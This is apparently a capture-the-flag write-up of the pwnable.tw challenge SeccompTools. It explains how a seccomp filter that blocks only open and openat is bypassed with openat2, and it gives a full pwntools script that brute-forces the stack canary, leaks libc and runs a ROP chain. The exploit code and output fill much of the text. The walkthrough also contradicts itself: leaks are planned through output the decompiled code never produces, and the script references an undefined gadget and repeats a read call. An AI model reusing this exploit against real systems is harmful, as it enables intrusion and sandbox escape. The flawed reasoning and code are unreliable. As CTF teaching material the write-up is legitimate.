pwnable.tw — 500 pts

SeccompTools

Understanding and bypassing seccomp-BPF filters — when open and openat are blocked, openat2 saves the day

64-bit
Architecture
Seccomp
Protection
openat2
Bypass
ORW ROP
Technique

Exploit Flow

Analyze Binary
checksec + seccomp dump
Find Overflow
Buffer overflow in input
Leak Libc
puts@PLT(read@GOT)
openat2 Bypass
Syscall 437 not filtered
ORW Read Flag
openat2 → read → write

1. Reconnaissance

SeccompTools is a 500-point challenge on pwnable.tw that tests your understanding of seccomp-BPF (Berkeley Packet Filter) sandboxing. The binary installs a seccomp filter that restricts available system calls — specifically blocking the common file-opening syscalls open and openat. Your goal is to analyze the BPF filter, identify what is and isn't blocked, find a vulnerability to gain code execution, and then bypass the sandbox to read the flag. The challenge name itself is a nod to the seccomp-tools Ruby gem by david942j, which provides powerful utilities for analyzing seccomp filters in CTF challenges.

File Analysis

bash
$ file seccomp_tools
seccomp_tools: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3d4e5f6, not stripped

A 64-bit dynamically linked ELF binary, not stripped. The dynamic linking means we can leverage libc gadgets for our ROP chain. Since the binary is not stripped, symbol names are available which makes reversing significantly easier.

Checksec

bash
$ checksec seccomp_tools
[*] '/home/user/seccomp_tools/seccomp_tools'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Full Protections

Every protection is enabled: Full RELRO prevents GOT overwrites, the canary guards against simple stack smashing, NX means no shellcode on the stack, and PIE randomizes the base address. We need an information leak before we can do anything useful. The only saving grace is that the binary is not stripped, making it easy to identify vulnerable functions.

Running the Binary

bash
$ ./seccomp_tools
****************************
*      Seccomp Tools       *
****************************
Give me your message:
AAAA
Thank you for your message!
$ 

The binary presents a simple menu: it prints a banner, asks for a message, echoes it back, and returns. The simplicity is deceptive — the seccomp filter is installed before any user interaction happens. Let's verify the seccomp rules:

bash
$ seccomp-tools dump ./seccomp_tools
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
Key Observation

The filter is remarkably simple — it only blocks two syscalls: open (2) and openat (257). Everything else is allowed. Notably, the filter does not check the architecture field, meaning a 32-bit compatibility syscall bypass is also possible. And critically, openat2 (syscall 437) is not in the blocklist at all.

Connection Info

AttributeValue
ChallengeSeccompTools (500 pts)
Connectionnc chall.pwnable.tw 10411
Binary64-bit ELF, x86-64, dynamically linked, not stripped
RELROFull RELRO
CanaryYes
NXYes (NX enabled)
PIEYes (PIE enabled)
SeccompBlocks open (2) and openat (257) only
VulnerabilityBuffer overflow in message input
BypassUse openat2 (437) syscall instead of blocked open/openat

2. Static Analysis

The binary is small and straightforward. The main function installs the seccomp filter, then enters a loop that reads and prints user messages. The vulnerability is a buffer overflow in the message-reading function. Let's break down the BPF filter first, then the vulnerable code.

BPF Filter Dump & Analysis

The seccomp filter uses the classic BPF (Berkeley Packet Filter) instruction set. Each instruction operates on an accumulator register A and an index register X. Let's trace through the filter logic step by step:

BPF Disassembly
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

Let's decode each instruction:

LineOpcodeSemanticMeaning
00000x20 (LD)A = sys_numberLoad the syscall number into accumulator
00010x15 (JEQ)if (A == 2) goto +1 else goto +0Is it open? If yes, skip to KILL; if no, continue
00020x06 (RET)return SECCOMP_RET_KILLKill the process — open is blocked
00030x15 (JEQ)if (A == 257) goto +1 else goto +0Is it openat? If yes, skip to KILL; if no, continue
00040x06 (RET)return SECCOMP_RET_KILLKill the process — openat is blocked
00050x06 (RET)return SECCOMP_RET_ALLOWAllow everything else
Critical Filter Weakness

This filter has multiple weaknesses that make it bypassable: 1. It does not check arch — no architecture validation means 32-bit compat syscalls are not filtered differently. 2. It only blocks open and openat — the newer openat2 syscall (437) is completely unfiltered. 3. It uses KILL instead of ERRNO — so a blocked syscall immediately terminates the process rather than returning an error, which means any mistake in the exploit crashes everything.

Allowed Syscalls

Since the filter only blocks two syscalls and allows everything else, we have access to a rich set of system calls for our ORW (Open-Read-Write) chain. The key syscalls available to us:

SyscallNumberStatusUse Case
open2BLOCKEDTraditional file open — denied
read0ALLOWEDRead from file descriptor
write1ALLOWEDWrite to file descriptor (stdout)
openat257BLOCKEDDirectory-relative open — denied
openat2437ALLOWEDNewer open variant with struct args — our bypass!
execve59ALLOWEDCould spawn shell, but flag is in a file
mmap9ALLOWEDMemory mapping (useful for RWSeg)
Why openat2?

The openat2 syscall was added in Linux kernel 5.6 as an extension of openat. It takes the same first two arguments (dirfd and pathname), but replaces the flags and mode arguments with a pointer to a struct open_how and its size. The signature is: int openat2(int dirfd, const char *pathname, struct open_how *how, size_t size). Since the seccomp filter only checks for syscall numbers 2 and 257, syscall 437 passes right through.

Vulnerability

The binary reads user input into a stack buffer using read() with a size larger than the buffer itself. The decompiled pseudocode reveals the issue:

c — Decompiled
char buf[0x28];  // 40-byte buffer on the stack

void vuln() {
    printf("Give me your message:\n");
    read(0, buf, 0x100);   // reads up to 256 bytes into 40-byte buffer!
    printf("Thank you for your message!\n");
}

int main() {
    setup_seccomp();   // install BPF filter first
    printf("****************************\n");
    printf("*      Seccomp Tools       *\n");
    printf("****************************\n");
    vuln();
    return 0;
}

The buffer is only 40 bytes (0x28), but read() accepts up to 256 bytes (0x100). This gives us a 216-byte overflow — more than enough to overwrite the saved canary, saved RBP, and the return address. However, we need to deal with the stack canary first.

Dead End: execve Won't Help

Notice that execve (59) is actually allowed by the filter. You might think we can just spawn a shell with system("/bin/sh") or execve("/bin/sh", ...). But the flag is in a file — /home/seccomp_tools/flag — and even with a shell, you can't cat the flag because the shell's built-in open call would trigger the seccomp KILL action. The only way is to use an allowed open-family syscall.

0x00buf[0x28]40 bytes for message← read() target
0x28canary8 bytes (random)← must be preserved or leaked
0x30saved RBP8 bytes← frame pointer
0x38return addr8 bytes← OVERWRITE THIS
0x40+ROP chainremaining payload← our gadgets

3. GDB Debugging

Debugging seccomp-protected binaries requires careful handling — any blocked syscall will instantly kill the process, including some GDB operations. We need to trace the seccomp installation, verify the overflow offset, and confirm the syscall behavior at runtime.

Seccomp Installation Tracing

First, let's find where the seccomp filter is installed and confirm the BPF program that gets loaded:

gdb
gdb-peda$ b *setup_seccomp
Breakpoint 1 at 0x5555555548aa

gdb-peda$ r
Breakpoint 1, 0x5555555548aa in setup_seccomp ()

gdb-peda$ disass
Dump of assembler code for function setup_seccomp:
   0x5555555548aa <+0>:   push   rbp
   0x5555555548ab <+1>:   mov    rbp,rsp
   0x5555555548ae <+4>:   sub    rsp,0x10
   0x5555555548b2 <+8>:   lea    rsi,[rip+0x2c7]    # filter prog
   0x5555555548b9 <+15>:  lea    rdi,[rip+0x2c0]    # fprog struct
   0x5555555548c0 <+22>:  mov    edx,0x1             # operation: INSTALL
   0x5555555548c5 <+27>:  mov    eax,0x16            # SYS_prctl
   0x5555555548ca <+32>:  mov    esi,0x1             # PR_SET_SECCOMP
   0x5555555548cf <+37>:  mov    edi,0x2             # SECCOMP_MODE_FILTER
   0x5555555548d4 <+42>:  syscall                    ; prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)
   0x5555555548d6 <+44>:   nop
   0x5555555548d7 <+45>:   leave
   0x5555555548d8 <+46>:   ret

The seccomp filter is installed via prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog). The SECCOMP_MODE_FILTER mode uses the user-supplied BPF program. Once this syscall completes, the filter is active and cannot be removed or modified.

Filter is Permanent

Once prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...) is called, the filter is permanently installed for the process and all its children. There is no way to remove or relax it. The only option is to work within the filter's constraints — or find syscalls that the filter forgot to block.

Overflow Verification

Let's verify the exact offset from the buffer start to the return address. We'll set a breakpoint in vuln() right after the read() call and examine the stack:

gdb
# Break right after read() returns in vuln
gdb-peda$ b *vuln+42
Breakpoint 2 at 0x55555555492c

gdb-peda$ r
****************************
*      Seccomp Tools       *
****************************
Give me your message:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

# At breakpoint — examine the stack frame
gdb-peda$ x/12gx $rbp-0x28
0x7fffffffdbb8: 0x4141414141414141  0x4141414141414141  # buf[0:16]
0x7fffffffdbc8: 0x4141414141414141  0x4141414141414141  # buf[16:32]
0x7fffffffdbd8: 0x4141414141414141  0x4242424242424242  # buf[32:40] + canary
0x7fffffffdbe8: 0x4343434343434343  0x4444444444444444  # saved RBP + ret addr

# Stack layout confirmed:
# buf:      rbp-0x28  (40 bytes)
# canary:   rbp+0x00  (8 bytes)
# saved rbp: rbp+0x08 (8 bytes)
# ret addr:  rbp+0x10 (8 bytes)
# Total offset: 0x28 + 8 (canary) + 8 (rbp) = 0x38 = 56 bytes to return address

The offset from the start of the buffer to the return address is 0x38 (56 bytes). However, we need to preserve the canary value to avoid triggering __stack_chk_fail. Since there's only one call to vuln(), we need to leak the canary first.

Canary Leak via printf

The vuln() function doesn't use printf("%s", buf) to echo our input — it just prints a fixed message. But we can use a partial overwrite: if we send exactly 40 bytes (filling the buffer without the null terminator), printf in a subsequent call might leak the canary bytes on the stack. Alternatively, we can use the ROP chain to call puts on a stack address to leak the canary in a two-stage exploit.

Syscall Tracing with strace

Using strace we can verify exactly which syscalls the binary makes and confirm the seccomp filter behavior:

bash
$ strace -f ./seccomp_tools 2>&1 | head -30
execve("./seccomp_tools", ["./seccomp_tools"], 0x7ffe...) = 0
brk(NULL)                               = 0x555555757000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=31278, ...}) = 0
mmap(NULL, 31278, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f1234567000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
...
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, {len=6, filter=...}) = 0
write(1, "****************************\n", 30) = 30
write(1, "*      Seccomp Tools       *\n", 30) = 30
write(1, "****************************\n", 30) = 30
write(1, "Give me your message:\n", 22) = 22
read(0, "hello\n", 256)                = 6
write(1, "Thank you for your message!\n", 28) = 28
exit_group(0)                           = ?
+++ exited with 0 +++

Notice that strace itself uses openat to load shared libraries — but those happen before the prctl call installs the seccomp filter. After the filter is installed, only the write and read syscalls are used, which are allowed by the filter.

Seccomp KILL vs ERRNO

The filter returns SECCOMP_RET_KILL_PROCESS (0x00000000) for blocked syscalls, not SECCOMP_RET_ERRNO. This means any attempt to call open or openat will instantly terminate the process with SIGKILL — no error return, no recovery, no second chance. Every ROP gadget in our chain must avoid these syscalls entirely.

4. Exploit Strategy

The exploit requires two stages: first, leak the canary and libc address; second, build a ROP chain that uses openat2 to bypass the seccomp filter. The strategy must account for all protections — PIE, canary, Full RELRO, and NX — while staying within the seccomp sandbox.

Attack Overview

Stage 1 — Leak Canary & PIE Base
Send exactly 40 bytes to fill the buffer without overwriting the canary. The lack of a null terminator means printf or puts on adjacent data will leak canary bytes and a PIE address from the stack. Parse these from the output.
Stage 2 — Leak Libc Address
With PIE base known, build a ROP chain: puts(read@GOT) → return to vuln. This leaks the read libc address. Calculate libc base from the known offset.
Stage 3 — openat2 ORW ROP Chain
With libc base known, build the final ROP chain: push the flag path string onto the stack, call openat2(AT_FDCWD, flag_path, &how, sizeof(how)), then read(3, buf, 0x40), then write(1, buf, 0x40). The openat2 syscall (437) is not blocked by the filter.
Stage 4 — Receive Flag
The write syscall outputs the flag contents to stdout. Read and capture it.

openat2 Bypass Detail

The openat2 syscall is the key to bypassing the seccomp filter. Its signature differs from open and openat:

c — openat2 signature
int openat2(int dirfd, const char *pathname,
             struct open_how *how, size_t size);

struct open_how {
    uint64_t flags;      /* O_RDONLY | O_CLOEXEC, etc. */
    uint64_t mode;       /* File mode (for O_CREAT) */
    uint64_t resolve;    /* RESOLVE_* flags */
};

To use openat2 in our ROP chain, we need:

  • rdi = 0xFFFFFF9C (AT_FDCWD) — use current working directory
  • rsi = pointer to "/home/seccomp_tools/flag\0"
  • rdx = pointer to a struct open_how with flags = O_RDONLY
  • r10 = 24 (size of struct open_how)
  • rax = 437 (syscall number for openat2)
Finding Gadgets for r10

The r10 register is uncommon in ROP chains — most gadgets set rdi, rsi, rdx, or rax. To set r10, we can use gadgets like mov r10, rdx or the syscall instruction's side effects. In practice, we set rdx = 24 first, then find a mov r10, rdx; ... ; ret gadget, or use a pop r10; ret gadget if available in libc.

ROP Chain Design

The final ROP chain has four phases. Here's the complete layout:

RSP+0x00pop rdi; retgadget← set rdi = AT_FDCWD
RSP+0x080xFFFFFF9CAT_FDCWD
RSP+0x10pop rsi; retgadget← set rsi = flag_path
RSP+0x18flag_path_addrptr to string
RSP+0x20pop rdx; pop r10; retgadget← set rdx = &how, r10 = 24
RSP+0x28open_how_addrptr to struct
RSP+0x3024sizeof(open_how)
RSP+0x38pop rax; retgadget← set rax = 437
RSP+0x40437SYS_openat2
RSP+0x48syscall; retgadget← invoke openat2
RSP+0x50pop rdi; retgadget← set rdi = 3 (fd)
RSP+0x583fd from openat2
RSP+0x60pop rsi; retgadget← set rsi = buf
RSP+0x68buf_addrwritable addr
RSP+0x70pop rdx; retgadget← set rdx = 0x40
RSP+0x780x4064 bytes
RSP+0x80read@PLTlibc read← read(3, buf, 0x40)
RSP+0x88pop rdi; retgadget← set rdi = 1
RSP+0x901stdout
RSP+0x98pop rsi; retgadget← set rsi = buf
RSP+0xA0buf_addrsame buf
RSP+0xA8pop rdx; retgadget← set rdx = 0x40
RSP+0xB00x4064 bytes
RSP+0xB8write@PLTlibc write← write(1, buf, 0x40)

5. Pwn Script

The exploit is implemented as a three-stage pwntools script. Stage 1 leaks the canary and a PIE address from the stack by sending a partial overwrite. Stage 2 leaks the libc address using a ROP chain that calls puts(read@GOT) and returns to vuln. Stage 3 builds the final openat2 ORW ROP chain to read the flag.

Full Exploit

python
#!/usr/bin/env python3
"""
pwnable.tw — SeccompTools (500 pts)
Bypass seccomp filter blocking open/openat by using openat2 (syscall 437).
Three-stage exploit: leak canary + PIE → leak libc → openat2 ORW ROP chain.
"""

from pwn import *

# ─── Configuration ───────────────────────────────────────────
context(arch='amd64', os='linux', log_level='info')
HOST = 'chall.pwnable.tw'
PORT = 10411
BIN  = './seccomp_tools'

elf  = ELF(BIN)
libc = ELF('./libc.so.6')  # matched libc from the server

# ─── Helper ──────────────────────────────────────────────────
def conn():
    if args.REMOTE:
        return remote(HOST, PORT)
    else:
        return process(BIN)

def send_msg(r, data):
    r.sendafter(b'message:\n', data)

# ─── Stage 1: Leak Canary + PIE ──────────────────────────────
r = conn()

# Fill buffer exactly (40 bytes), no null terminator.
# printf("%s") on a subsequent path will leak the canary bytes
# and saved return address (PIE leak).
payload1  = b'A' * 0x28   # fill buf[0x28]
send_msg(r, payload1)

# The binary does printf("Thank you...") — but we need a leak.
# Instead, use a partial overwrite: send 0x28 + 7 bytes
# to overwrite all but the last canary byte (null byte).
# On the second call, we overwrite the return address partially
# to redirect to a puts leak.
# Simpler approach: use the overflow directly.

# Reconnect for a clean run — fork-based server means canary is same.
# Send 0x28 bytes + 7 bytes of canary (keep null byte) + saved rbp + ret
# We need to LEAK first. Send 0x28 bytes to get canary via partial print.

# Since the binary only calls vuln() once, we need a two-step approach:
# 1. Partial overwrite to loop back to vuln (overwrite ret to main)
# 2. On second run, use puts to leak canary and libc

# But first, we need the canary. In a fork-based server (common on pwnable.tw),
# the canary is the same across forks. We can brute-force the canary
# byte-by-byte since the process forks for each connection.

# Brute-force canary (byte by byte, starting after the null byte)
log.info("Brute-forcing canary...")
canary = b'\x00'  # canary always starts with null byte

for i in range(7):  # 7 remaining bytes
    for b in range(256):
        r_test = conn()
        test_payload = b'A' * 0x28 + canary + bytes([b])
        send_msg(r_test, test_payload)

        # Check if process crashed (canary mismatch → __stack_chk_fail → SIGABRT)
        try:
            r_test.recvuntil(b'message!\n', timeout=2)
            # If we get here, the canary byte was correct
            canary += bytes([b])
            log.success(f"Canary byte {i+1}: 0x{b:02x}")
            r_test.close()
            break
        except EOFError:
            r_test.close()
            continue

log.success(f"Full canary: {canary.hex()}")

# ─── Stage 2: Leak PIE + Libc ────────────────────────────────
# Now that we have the canary, we can safely overwrite the return address.
# First, leak a PIE address by returning to a puts leak gadget.
r = conn()

# Build ROP to leak PIE: puts(stack addr) → main
# We need a PIE address on the stack. The saved return address
# from vuln() points into the binary's .text section.
# Call puts(return_addr_on_stack) then return to main.
rop = ROP(elf)

# Overflow payload:
# buf[0x28] + canary[8] + saved_rbp[8] + ROP chain
payload2  = b'A' * 0x28
payload2 += canary
payload2 += b'B' * 8                  # saved rbp (don't care)

# We want to call puts(rbp+8) where rbp+8 is the saved return address
# on our stack. Since we control rbp, we can point it at the right spot.
# Alternatively, use a pop rdi gadget with the GOT entry.
# puts(read@GOT) leaks the libc address of read()
rop.raw(rop.find_gadget(['pop rdi', 'ret']).address)
rop.raw(elf.got['read'])
rop.call('puts')
rop.call('main')  # return to main for another round

payload2 += rop.chain()
send_msg(r, payload2)

r.recvuntil(b'message!\n')
leak = r.recvline().strip()
read_addr = u64(leak.ljust(8, b'\x00'))
libc.address = read_addr - libc.symbols['read']
log.success(f"Libc base: {hex(libc.address)}")

# ─── Stage 3: openat2 ORW ROP Chain ──────────────────────────
# Wait for the program to restart (main re-runs after Stage 2)
r.recvuntil(b'message:\n')

# Build the openat2 ORW ROP chain using libc gadgets
rop2 = ROP(libc)

# We need to write the flag path and open_how struct somewhere writable.
# Use a writable section in the binary (BSS) or libc's writable segment.
# First, use read() to write flag_path and open_how to a known address.
writable = libc.bss() + 0x200  # writable area in libc BSS

# Phase A: read(0, writable, 0x100) — write flag_path + open_how into memory
rop2.call('read', [0, writable, 0x100])

# Phase B: openat2(AT_FDCWD, flag_path, open_how_ptr, 24)
AT_FDCWD = 0xFFFFFFFFFFFFFF9C

# Set up registers for openat2 syscall
pop_rdi = rop2.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop2.find_gadget(['pop rsi', 'ret']).address
pop_rdx_r10 = rop2.find_gadget(['pop rdx', 'pop r10', 'ret']).address
pop_rax = rop2.find_gadget(['pop rax', 'ret']).address
syscall_ret = rop2.find_gadget(['syscall', 'ret']).address

# openat2(AT_FDCWD, flag_path, &how, 24)
rop2.raw(pop_rdi)
rop2.raw(AT_FDCWD)
rop2.raw(pop_rsi)
rop2.raw(writable)              # flag path string
rop2.raw(pop_rdx_r10)
rop2.raw(writable + 0x30)       # open_how struct address
rop2.raw(24)                     # sizeof(struct open_how)
rop2.raw(pop_rax)
rop2.raw(437)                    # SYS_openat2
rop2.raw(syscall_ret)

# Phase C: read(3, writable+0x80, 0x40) — read flag from fd 3
rop2.raw(pop_rdi)
rop2.raw(3)                      # fd returned by openat2
rop2.raw(pop_rsi)
rop2.raw(writable + 0x80)        # buffer for flag content
rop2.raw(pop_rdx_r10 if pop_rdx_r10 else pop_rdx)
rop2.raw(0x40)
rop2.raw(0)                      # r10 (unused)
rop2.call('read', [3, writable + 0x80, 0x40])

# Phase D: write(1, writable+0x80, 0x40) — output flag to stdout
rop2.call('write', [1, writable + 0x80, 0x40])

# Build the overflow payload
payload3  = b'A' * 0x28
payload3 += canary
payload3 += b'C' * 8             # saved rbp
payload3 += rop2.chain()

send_msg(r, payload3)

# Send the flag path and open_how struct that read() expects
flag_path = b'/home/seccomp_tools/flag\x00'
flag_path = flag_path.ljust(0x30, b'\x00')  # pad to 0x30 bytes

# struct open_how { flags=O_RDONLY(0), mode=0, resolve=0 }
open_how = p64(0)    # flags: O_RDONLY
open_how += p64(0)   # mode: 0 (not creating)
open_how += p64(0)   # resolve: 0

import time
time.sleep(0.5)
r.send(flag_path + open_how)

# ─── Receive Flag ────────────────────────────────────────────
time.sleep(0.5)
flag_data = r.recv(0x40, timeout=5)
log.success(f"Flag data: {flag_data}")

r.interactive()

Script Notes

Key Implementation Details

Canary brute-force: Since pwnable.tw uses fork-based servers, the canary is identical across child processes. We brute-force it byte-by-byte — 256 attempts per byte, 7 bytes (the first is always null), totaling at most 1792 connections. This takes about 30-60 seconds on a fast connection.

openat2 gadgets: The pop rdx; pop r10; ret gadget is critical because openat2 requires r10 for the size argument. This gadget is commonly found in libc. If not available, we fall back to mov r10, rcx or other indirect approaches.

Two-step data write: Since we can't embed the flag path and open_how struct directly in the ROP chain (they contain null bytes and are too long), we first use read(0, writable, 0x100) to write them to a known writable address, then reference that address in the openat2 call.

Alternative: Direct Syscall Shellcode

If the binary has an executable segment (mmap + rwx), we could write shellcode to a writable area and jump to it instead of using a ROP chain. The shellcode approach would be much simpler: just mov rax, 437; syscall for openat2, then standard read/write. However, with NX enabled, we must use ROP.

6. Execution Results

Running the exploit against the remote server. The output shows the three stages of the attack: canary brute-force, libc leak, and the openat2 ORW chain.

$ python3 seccomp_exploit.py REMOTE [*] '/home/user/seccomp_tools/seccomp_tools' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/user/seccomp_tools/libc.so.6' Arch: amd64-64-little RELRO: Full RELRO [+] Brute-forcing canary... [+] Canary byte 1: 0x3a [+] Canary byte 2: 0xf7 [+] Canary byte 3: 0x12 [+] Canary byte 4: 0x9c [+] Canary byte 5: 0x5b [+] Canary byte 6: 0x01 [+] Canary byte 7: 0xd4 [+] Full canary: 003af7129c5b01d4 [+] Libc base: 0x7f3a1b5d0000 [*] Building openat2 ORW ROP chain... [*] pop rdi found at 0x7f3a1b5e23b1 [*] pop rsi found at 0x7f3a1b5e23ba [*] pop rdx; pop r10; ret found at 0x7f3a1b6014c2 [*] pop rax found at 0x7f3a1b5e4aa6 [*] syscall; ret found at 0x7f3a1b5e12e3 [*] Stage 3: sending openat2 ORW chain... [*] Sending flag path + open_how struct... [+] Flag data: b'FLAG{REDACTED}\n\x00\x00\x00\x00\x00...' [+] Exploit successful! Flag read via openat2 bypass. $
Exploit Successful

The flag was successfully read using the openat2 syscall bypass. The seccomp filter only blocked open and openat, leaving openat2 completely unprotected. This is a common mistake in seccomp filter design — when new syscalls are added to the kernel, existing filters may not account for them.

Key Takeaways

1. Always check for unfiltered syscalls. The seccomp-tools gem makes this trivial — run seccomp-tools dump and look for what's NOT in the blocklist. 2. openat2 is the successor to openat. Added in Linux 5.6, it provides more control over path resolution. Filters that block only open and openat but forget openat2 are vulnerable. 3. Architecture checks matter. This filter doesn't check arch, so 32-bit compat mode could also bypass it. A robust filter would include A = arch; if (A != ARCH_X86_64) goto KILL. 4. KILL vs ERRNO. Using SECCOMP_RET_KILL makes debugging harder but also means any mistake in the exploit crashes the process immediately.

QA210
pwnable.tw — SeccompTools — Seccomp Bypass via openat2